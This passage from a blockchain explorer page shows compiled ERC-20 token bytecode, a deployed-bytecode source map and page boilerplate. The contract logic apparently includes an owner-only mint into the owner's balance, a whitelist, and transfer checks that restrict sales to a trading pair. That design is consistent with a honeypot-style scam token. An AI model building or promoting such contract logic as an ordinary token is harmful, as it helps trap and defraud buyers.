66109e05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161043e565b6001600160a01b038216610a425760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161043e565b610a4d838383611075565b6001600160a01b038316600090815260066020526040902054811115610ac45760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161043e565b6001600160a01b03831660009081526006602052604081208054839290610aec908490611338565b90915550506001600160a01b03821660009081526006602052604081208054839290610b19908490611380565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161086f91815260200190565b6000816001600160a01b03163b600003610b8157506000919050565b60008290506000806000836001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa925050508015610be5575060408051601f3d908101601f19168201909252610be291810190611393565b60015b610c26573d808015610c13576040519150601f19603f3d011682016040523d82523d6000602084013e610c18565b606091505b506000979650505050505050565b9250836001600160a01b031663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa925050508015610c82575060408051601f3d908101601f19168201909252610c7f91810190611393565b60015b610cb0573d808015610c13576040519150601f19603f3d011682016040523d82523d6000602084013e610c18565b9150836001600160a01b031663ddca3f436040518163ffffffff1660e01b8152600401602060405180830381865afa925050508015610d0c575060408051601f3d908101601f19168201909252610d09918101906113b0565b60015b610d3a573d808015610c13576040519150601f19603f3d011682016040523d82523d6000602084013e610c18565b604051630b4c774160e11b81526001600160a01b0380861660048301528416602482015262ffffff82166044820152909150731f98431c8ad98523631ae4a59f267346ea31f98490631698ee8290606401602060405180830381865afa158015610da8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dcc9190611393565b6001600160a01b0316866001600160a01b031614945050505050919050565b6001546000906001600160a01b03838116911614806103a55750506003546001600160a01b0390811691161490565b6000806000600360009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610e72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e9691906113f1565b506001600160701b031691506001600160701b03169150600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f00573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f249190611393565b6001600160a01b0316600360009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa49190611393565b6001600160a01b03160361103657600154604051630153543560e21b81526004810186905260248101839052604481018490526001600160a01b039091169063054d50d4906064015b602060405180830381865afa15801561100a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102e9190611441565b949350505050565b600154604051630153543560e21b81526004810186905260248101849052604481018390526001600160a01b039091169063054d50d490606401610fed565b61107d611136565b156111315761108b83610deb565b156110be576001600160a01b038216600090815260086020526040812080548392906110b8908490611380565b90915550505b6110c782610deb565b15611131576001600160a01b038316600090815260096020526040812080548392906110f4908490611380565b90915550611103905081610e1a565b6001600160a01b0384166000908152600a60205260408120805490919061112b908490611380565b90915550505b505050565b6000806000600360009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa15801561118e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111b291906113f1565b506001600160701b031691506001600160701b031691506000821180156111d95750600081115b9250505090565b600060208083528351808285015260005b8181101561120d578581018301518582016040015282016111f1565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461124357600080fd5b50565b6000806040838503121561125957600080fd5b82356112648161122e565b946020939093013593505050565b60008060006060848603121561128757600080fd5b83356112928161122e565b925060208401356112a28161122e565b929592945050506040919091013590565b6000602082840312156112c557600080fd5b813561046c8161122e565b6000602082840312156112e257600080fd5b5035919050565b600080604083850312156112fc57600080fd5b82356113078161122e565b915060208301356113178161122e565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b818103818111156103a5576103a5611322565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b808201808211156103a5576103a5611322565b6000602082840312156113a557600080fd5b815161046c8161122e565b6000602082840312156113c257600080fd5b815162ffffff8116811461046c57600080fd5b80516001600160701b03811681146113ec57600080fd5b919050565b60008060006060848603121561140657600080fd5b61140f846113d5565b925061141d602085016113d5565b9150604084015163ffffffff8116811461143657600080fd5b809150509250925092565b60006020828403121561145357600080fd5b505191905056fea26469706673582212206dc33600f448ff28534efd8f68f7c5a96ec4e61fe7433fc71a3f19e939f153c464736f6c63430008130033
Deployed Bytecode Sourcemap
10932:8149:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12442:101;12516:19;;;;;;;;;;;;-1:-1:-1;;;12516:19:0;;;;12442:101;;;;;;;:::i;:::-;;;;;;;;13469:188;;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;13469:188:0;1023:187:1;12757:102:0;12839:12;;12757:102;;;1361:25:1;;;1349:2;1334:18;12757:102:0;1215:177:1;13665:580:0;;;;;;:::i;:::-;;:::i;14499:198::-;;;;;;:::i;:::-;;:::i;:::-;;11180:49;;;;;;:::i;:::-;;;;;;;;;;;;;;;;12655:94;;;11142:1;2252:36:1;;2240:2;2225:18;12655:94:0;2110:184:1;14783:114:0;;;;;;:::i;:::-;;:::i;11465:46::-;;;;;;:::i;:::-;;;;;;;;;;;;;;14390:101;;;;;;:::i;:::-;;:::i;14253:129::-;;;;;;:::i;:::-;;:::i;14905:117::-;;;;;;:::i;:::-;;:::i;12867:137::-;;;;;;:::i;:::-;-1:-1:-1;;;;;12978:18:0;12951:7;12978:18;;;:9;:18;;;;;;;12867:137;11415:43;;;;;;:::i;:::-;;;;;;;;;;;;;;661:79;699:7;726:6;-1:-1:-1;;;;;726:6:0;661:79;;;-1:-1:-1;;;;;2648:32:1;;;2630:51;;2618:2;2603:18;661:79:0;2484:203:1;12551:96:0;12627:12;;;;;;;;;;;;-1:-1:-1;;;12627:12:0;;;;12551:96;;11071:26;;;;;-1:-1:-1;;;;;11071:26:0;;;13012:271;;;;;;:::i;:::-;;:::i;14705:70::-;;;:::i;13291:170::-;;;;;;:::i;:::-;-1:-1:-1;;;;;13426:18:0;;;13399:7;13426:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;13291:170;15030:138;;;;;;:::i;:::-;;:::i;11152:21::-;;;;;-1:-1:-1;;;;;11152:21:0;;;13469:188;13571:4;13588:39;175:10;13611:7;13620:6;13588:8;:39::i;:::-;-1:-1:-1;13645:4:0;13469:188;;;;;:::o;13665:580::-;13799:4;13820:39;13833:6;13841:9;13852:6;13820:12;:39::i;:::-;13816:400;;;-1:-1:-1;;;;;13903:19:0;;13876:24;13903:19;;;:11;:19;;;;;;;;175:10;13903:33;;;;;;;;13977:26;;;;13951:128;;;;-1:-1:-1;;;13951:128:0;;3517:2:1;13951:128:0;;;3499:21:1;3556:2;3536:18;;;3529:30;3595:34;3575:18;;;3568:62;-1:-1:-1;;;3646:18:1;;;3639:38;3694:19;;13951:128:0;;;;;;;;;14096:36;14106:6;14114:9;14125:6;14096:9;:36::i;:::-;14147:57;14156:6;175:10;14178:25;14197:6;14178:16;:25;:::i;:::-;14147:8;:57::i;:::-;13861:355;13816:400;-1:-1:-1;14233:4:0;13665:580;;;;;;:::o;14499:198::-;788:6;;-1:-1:-1;;;;;788:6:0;175:10;788:22;780:67;;;;-1:-1:-1;;;780:67:0;;;;;;;:::i;:::-;14585:4:::1;::::0;;-1:-1:-1;;;;;14585:4:0;;::::1;14602:1;14565:26:::0;;;:11:::1;:26;::::0;;;;;;;14592:6:::1;::::0;;;::::1;14565:34:::0;;;;;;;;:38;;;14614:16;;-1:-1:-1;;;;;;14614:16:0::1;::::0;;::::1;::::0;;::::1;::::0;;14661:4;;;;::::1;14641:26:::0;;;;;;;:34;;;;;;;;-1:-1:-1;;14641:48:0;;14499:198::o;14783:114::-;11683:6;;-1:-1:-1;;;;;11683:6:0;11669:10;:20;11661:29;;;;;;-1:-1:-1;;;;;14856:26:0::1;;::::0;;;:17:::1;:26;::::0;;;;:33;;-1:-1:-1;;14856:33:0::1;14885:4;14856:33;::::0;;14783:114::o;14390:101::-;788:6;;-1:-1:-1;;;;;788:6:0;175:10;788:22;780:67;;;;-1:-1:-1;;;780:67:0;;;;;;;:::i;:::-;14458:13:::1;:25:::0;14390:101::o;14253:129::-;788:6;;-1:-1:-1;;;;;788:6:0;175:10;788:22;780:67;;;;-1:-1:-1;;;780:67:0;;;;;;;:::i;:::-;14335:6:::1;14313:9;:18;14323:7;699::::0;726:6;-1:-1:-1;;;;;726:6:0;;661:79;14323:7:::1;-1:-1:-1::0;;;;;14313:18:0::1;-1:-1:-1::0;;;;;14313:18:0::1;;;;;;;;;;;;;:28;;;;;;;:::i;:::-;;;;;;;;14368:6;14352:12;;:22;;;;;;;:::i;:::-;::::0;;;-1:-1:-1;;;14253:129:0:o;14905:117::-;11683:6;;-1:-1:-1;;;;;11683:6:0;11669:10;:20;11661:29;;;;;;-1:-1:-1;;;;;14980:26:0::1;15009:5;14980:26:::0;;;:17:::1;:26;::::0;;;;:34;;-1:-1:-1;;14980:34:0::1;::::0;;14905:117::o;13012:271::-;13117:4;13138:45;175:10;13165:9;13176:6;13138:12;:45::i;:::-;13134:120;;;13200:42;175:10;13224:9;13235:6;13200:9;:42::i;14705:70::-;11683:6;;-1:-1:-1;;;;;11683:6:0;11669:10;:20;11661:29;;;;;;14756:4:::1;;;;;;;;;-1:-1:-1::0;;;;;14756:4:0::1;-1:-1:-1::0;;;;;14756:9:0::1;;:11;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;14705:70::o:0;15030:138::-;788:6;;-1:-1:-1;;;;;788:6:0;175:10;788:22;780:67;;;;-1:-1:-1;;;780:67:0;;;;;;;:::i;:::-;15121:6:::1;15099:9;:18;15109:7;699::::0;726:6;-1:-1:-1;;;;;726:6:0;;661:79;15109:7:::1;-1:-1:-1::0;;;;;15099:18:0::1;-1:-1:-1::0;;;;;15099:18:0::1;;;;;;;;;;;;;:28;;;;;;;:::i;:::-;;;;;;;;15154:6;15138:12;;:22;;;;;;;:::i;17726:337::-:0;-1:-1:-1;;;;;17819:19:0;;17811:68;;;;-1:-1:-1;;;17811:68:0;;4682:2:1;17811:68:0;;;4664:21:1;4721:2;4701:18;;;4694:30;4760:34;4740:18;;;4733:62;-1:-1:-1;;;4811:18:1;;;4804:34;4855:19;;17811:68:0;4480:400:1;17811:68:0;-1:-1:-1;;;;;17898:21:0;;17890:68;;;;-1:-1:-1;;;17890:68:0;;5087:2:1;17890:68:0;;;5069:21:1;5126:2;5106:18;;;5099:30;5165:34;5145:18;;;5138:62;-1:-1:-1;;;5216:18:1;;;5209:32;5258:19;;17890:68:0;4885:398:1;17890:68:0;-1:-1:-1;;;;;17971:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;18023:32;;1361:25:1;;;18023:32:0;;1334:18:1;18023:32:0;;;;;;;;17726:337;;;:::o;15330:822::-;-1:-1:-1;;;;;15480:25:0;;15459:4;15480:25;;;:17;:25;;;;;;;;;:57;;-1:-1:-1;;;;;;15509:28:0;;;;;;:17;:28;;;;;;;;15480:57;15476:101;;;-1:-1:-1;15561:4:0;15554:11;;15476:101;15593:24;15610:6;15593:16;:24::i;:::-;:55;;;;15621:27;15638:9;15621:16;:27::i;:::-;15589:100;;;-1:-1:-1;15672:5:0;15665:12;;15589:100;15705:16;15714:6;15705:8;:16::i;:::-;15701:60;;;-1:-1:-1;15745:4:0;15738:11;;15701:60;15777:19;15786:9;15777:8;:19::i;:::-;15773:350;;;15813:17;15833:25;15851:6;15833:17;:25::i;:::-;-1:-1:-1;;;;;15892:15:0;;15875:14;15892:15;;;:7;:15;;;;;;;;;15939:8;:16;;;;;;15988:11;:19;;;;;;15813:45;;-1:-1:-1;15892:15:0;;16058:13;16065:6;15939:16;16058:13;:::i;:::-;16048:6;:23;;:63;;;;-1:-1:-1;16092:19:0;16102:9;16092:7;:19;:::i;:::-;16075:13;;:36;;16048:63;16024:87;;;;;;;;17117:601;-1:-1:-1;;;;;17248:20:0;;17240:70;;;;-1:-1:-1;;;17240:70:0;;5490:2:1;17240:70:0;;;5472:21:1;5529:2;5509:18;;;5502:30;5568:34;5548:18;;;5541:62;-1:-1:-1;;;5619:18:1;;;5612:35;5664:19;;17240:70:0;5288:401:1;17240:70:0;-1:-1:-1;;;;;17329:23:0;;17321:71;;;;-1:-1:-1;;;17321:71:0;;5896:2:1;17321:71:0;;;5878:21:1;5935:2;5915:18;;;5908:30;5974:34;5954:18;;;5947:62;-1:-1:-1;;;6025:18:1;;;6018:33;6068:19;;17321:71:0;5694:399:1;17321:71:0;17403:47;17424:6;17432:9;17443:6;17403:20;:47::i;:::-;-1:-1:-1;;;;;17483:17:0;;;;;;:9;:17;;;;;;:27;-1:-1:-1;17483:27:0;17461:115;;;;-1:-1:-1;;;17461:115:0;;6300:2:1;17461:115:0;;;6282:21:1;6339:2;6319:18;;;6312:30;6378:34;6358:18;;;6351:62;-1:-1:-1;;;6429:18:1;;;6422:36;6475:19;;17461:115:0;6098:402:1;17461:115:0;-1:-1:-1;;;;;17589:17:0;;;;;;:9;:17;;;;;:27;;17610:6;;17589:17;:27;;17610:6;;17589:27;:::i;:::-;;;;-1:-1:-1;;;;;;;17627:20:0;;;;;;:9;:20;;;;;:30;;17651:6;;17627:20;:30;;17651:6;;17627:30;:::i;:::-;;;;;;;;17692:9;-1:-1:-1;;;;;17675:35:0;17684:6;-1:-1:-1;;;;;17675:35:0;;17703:6;17675:35;;;;1361:25:1;;1349:2;1334:18;;1215:177;16160:949:0;16224:4;16245:6;-1:-1:-1;;;;;16245:18:0;;16267:1;16245:23;16241:68;;-1:-1:-1;16292:5:0;;16160:949;-1:-1:-1;16160:949:0:o;16241:68::-;16321:27;16366:6;16321:52;;16386:14;16411;16436:10;16463:12;-1:-1:-1;;;;;16463:19:0;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;16463:21:0;;;;;;;;-1:-1:-1;;16463:21:0;;;;;;;;;;;;:::i;:::-;;;16459:156;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;16598:5:0;;16160:949;-1:-1:-1;;;;;;;16160:949:0:o;16459:156::-;16535:7;-1:-1:-1;16631:12:0;-1:-1:-1;;;;;16631:19:0;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;16631:21:0;;;;;;;;-1:-1:-1;;16631:21:0;;;;;;;;;;;;:::i;:::-;;;16627:156;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16703:7;-1:-1:-1;16799:12:0;-1:-1:-1;;;;;16799:16:0;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;16799:18:0;;;;;;;;-1:-1:-1;;16799:18:0;;;;;;;;;;;;:::i;:::-;;;16795:143;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16993:108;;-1:-1:-1;;;16993:108:0;;-1:-1:-1;;;;;7300:15:1;;;16993:108:0;;;7282:34:1;7352:15;;7332:18;;;7325:43;7416:8;7404:21;;7384:18;;;7377:49;16861:4:0;;-1:-1:-1;17011:42:0;;16993:87;;7217:18:1;;16993:108:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;16970:131:0;:6;-1:-1:-1;;;;;16970:131:0;;16950:151;;;;;;16160:949;;;:::o;15176:146::-;15277:7;;15233:4;;-1:-1:-1;;;;;15258:27:0;;;15277:7;;15258:27;;:55;;-1:-1:-1;;15308:4:0;;-1:-1:-1;;;;;15308:4:0;;;15289:24;;;;15176:146::o;18256:403::-;18343:7;18364:16;18382;18404:4;;;;;;;;;-1:-1:-1;;;;;18404:4:0;-1:-1:-1;;;;;18404:16:0;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18363:59;-1:-1:-1;;;;;18363:59:0;;;-1:-1:-1;;;;;18363:59:0;;;18454:7;;;;;;;;;-1:-1:-1;;;;;18454:7:0;-1:-1:-1;;;;;18454:12:0;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;18437:31:0;:4;;;;;;;;;-1:-1:-1;;;;;18437:4:0;-1:-1:-1;;;;;18437:11:0;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;18437:31:0;;18433:219;;18492:7;;:54;;-1:-1:-1;;;18492:54:0;;;;;8287:25:1;;;8328:18;;;8321:34;;;8371:18;;;8364:34;;;-1:-1:-1;;;;;18492:7:0;;;;:20;;8260:18:1;;18492:54:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18485:61;18256:403;-1:-1:-1;;;;18256:403:0:o;18433:219::-;18586:7;;:54;;-1:-1:-1;;;18586:54:0;;;;;8287:25:1;;;8328:18;;;8321:34;;;8371:18;;;8364:34;;;-1:-1:-1;;;;;18586:7:0;;;;:20;;8260:18:1;;18586:54:0;8085:319:1;18667:411:0;18796:15;:13;:15::i;:::-;18792:279;;;18832:14;18841:4;18832:8;:14::i;:::-;18828:76;;;-1:-1:-1;;;;;18867:11:0;;;;;;:7;:11;;;;;:21;;18882:6;;18867:11;:21;;18882:6;;18867:21;:::i;:::-;;;;-1:-1:-1;;18828:76:0;18922:12;18931:2;18922:8;:12::i;:::-;18918:142;;;-1:-1:-1;;;;;18955:14:0;;;;;;:8;:14;;;;;:24;;18973:6;;18955:14;:24;;18973:6;;18955:24;:::i;:::-;;;;-1:-1:-1;19019:25:0;;-1:-1:-1;19037:6:0;19019:17;:25::i;:::-;-1:-1:-1;;;;;18998:17:0;;;;;;:11;:17;;;;;:46;;:17;;;:46;;;;;:::i;:::-;;;;-1:-1:-1;;18918:142:0;18667:411;;;:::o;18071:177::-;18118:4;18136:16;18154;18176:4;;;;;;;;;-1:-1:-1;;;;;18176:4:0;-1:-1:-1;;;;;18176:16:0;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18135:59;-1:-1:-1;;;;;18135:59:0;;;-1:-1:-1;;;;;18135:59:0;;;18223:1;18212:8;:12;:28;;;;;18239:1;18228:8;:12;18212:28;18205:35;;;;18071:177;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;2025:9;2012:23;2044:31;2069:5;2044:31;:::i;2299:180::-;2358:6;2411:2;2399:9;2390:7;2386:23;2382:32;2379:52;;;2427:1;2424;2417:12;2379:52;-1:-1:-1;2450:23:1;;2299:180;-1:-1:-1;2299:180:1:o;2922:388::-;2990:6;2998;3051:2;3039:9;3030:7;3026:23;3022:32;3019:52;;;3067:1;3064;3057:12;3019:52;3106:9;3093:23;3125:31;3150:5;3125:31;:::i;:::-;3175:5;-1:-1:-1;3232:2:1;3217:18;;3204:32;3245:33;3204:32;3245:33;:::i;:::-;3297:7;3287:17;;;2922:388;;;;;:::o;3724:127::-;3785:10;3780:3;3776:20;3773:1;3766:31;3816:4;3813:1;3806:15;3840:4;3837:1;3830:15;3856:128;3923:9;;;3944:11;;;3941:37;;;3958:18;;:::i;3989:356::-;4191:2;4173:21;;;4210:18;;;4203:30;4269:34;4264:2;4249:18;;4242:62;4336:2;4321:18;;3989:356::o;4350:125::-;4415:9;;;4436:10;;;4433:36;;;4449:18;;:::i;6505:251::-;6575:6;6628:2;6616:9;6607:7;6603:23;6599:32;6596:52;;;6644:1;6641;6634:12;6596:52;6676:9;6670:16;6695:31;6720:5;6695:31;:::i;6761:278::-;6830:6;6883:2;6871:9;6862:7;6858:23;6854:32;6851:52;;;6899:1;6896;6889:12;6851:52;6931:9;6925:16;6981:8;6974:5;6970:20;6963:5;6960:31;6950:59;;7005:1;7002;6995:12;7437:188;7516:13;;-1:-1:-1;;;;;7558:42:1;;7548:53;;7538:81;;7615:1;7612;7605:12;7538:81;7437:188;;;:::o;7630:450::-;7717:6;7725;7733;7786:2;7774:9;7765:7;7761:23;7757:32;7754:52;;;7802:1;7799;7792:12;7754:52;7825:40;7855:9;7825:40;:::i;:::-;7815:50;;7884:49;7929:2;7918:9;7914:18;7884:49;:::i;:::-;7874:59;;7976:2;7965:9;7961:18;7955:25;8020:10;8013:5;8009:22;8002:5;7999:33;7989:61;;8046:1;8043;8036:12;7989:61;8069:5;8059:15;;;7630:450;;;;;:::o;8409:184::-;8479:6;8532:2;8520:9;8511:7;8507:23;8503:32;8500:52;;;8548:1;8545;8538:12;8500:52;-1:-1:-1;8571:16:1;;8409:184;-1:-1:-1;8409:184:1:o
Swarm Source
ipfs://6dc33600f448ff28534efd8f68f7c5a96ec4e61fe7433fc71a3f19e939f153c4
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.